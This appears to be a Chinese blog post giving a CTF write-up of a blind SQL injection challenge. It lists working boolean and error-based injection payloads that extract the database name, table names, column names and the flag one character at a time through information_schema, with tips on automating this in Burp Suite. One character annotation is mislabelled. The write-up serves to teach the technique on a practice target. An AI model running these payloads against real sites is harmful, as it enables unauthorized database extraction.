简单的sql注入之3-盲注

http://ctf5.shiyanbar.com/web/index_3.php

盲注

猜数据库名    
    方法一:(可以通过burpsuite拦截数据包,更改ascii值重发获取)
        1' and length(database())=4 #数据库名长度是4
        1' and ascii(substr(database(),1,1))=119#    w
        1' and ascii(substr(database(),2,1))=101#    e
        1' and ascii(substr(database(),3,1))=98#    b
        1' and ascii(substr(database(),4,1))=49#    1
        

    方法二:另类猜数据库名方法,写一个查找失败的函数
        1' and (select count(*) from aaa) > 0 #
        Table 'web1.aaa' doesn't exist,存在错误回显,显示数据库名为web1

猜测表的个数 2个表
    1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

猜表名
    第一个表名:flag
    1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4#    第一个表名长度为4
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102#     f
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108#    l
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97#    a
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103#    g
    
    第二个表名:web_1
    1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#    第二个表名长度为5
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=119# w
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101# e
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=98# w
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=95# _
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=49# 1
    

猜列名
    第一个表列名长度
    1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1))=4#     列名长度4
    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1),1,1))=102# f
    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1),2,1))=108# l
    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1),3,1))=97# a
    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1),4,1))=103# g

猜数据
    1' and (select count(*) from flag)=1 #    有一行数据
    1' and length((select flag from flag limit 1))= 26 #    数据长度26
    1' and ascii(substr((select flag from flag limit 1),1,1)) = 102 #    第一个字符为f,放到burpsuite中跑,可以得到结果

 

整个过程中我遇到的最大问题是最后爆数据的时候出现的。

 1' and length((select flag from flag limit 1))= 26 #    数据长度26,但是为什么要两个括号,一个括号是错误的?

暂且把它当作length一个括号,查找语句一个括号处理吧。

 

收获:盲注的时候可以使用burpsuite进行帮助处理,当然有能力写py的也可以用py

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值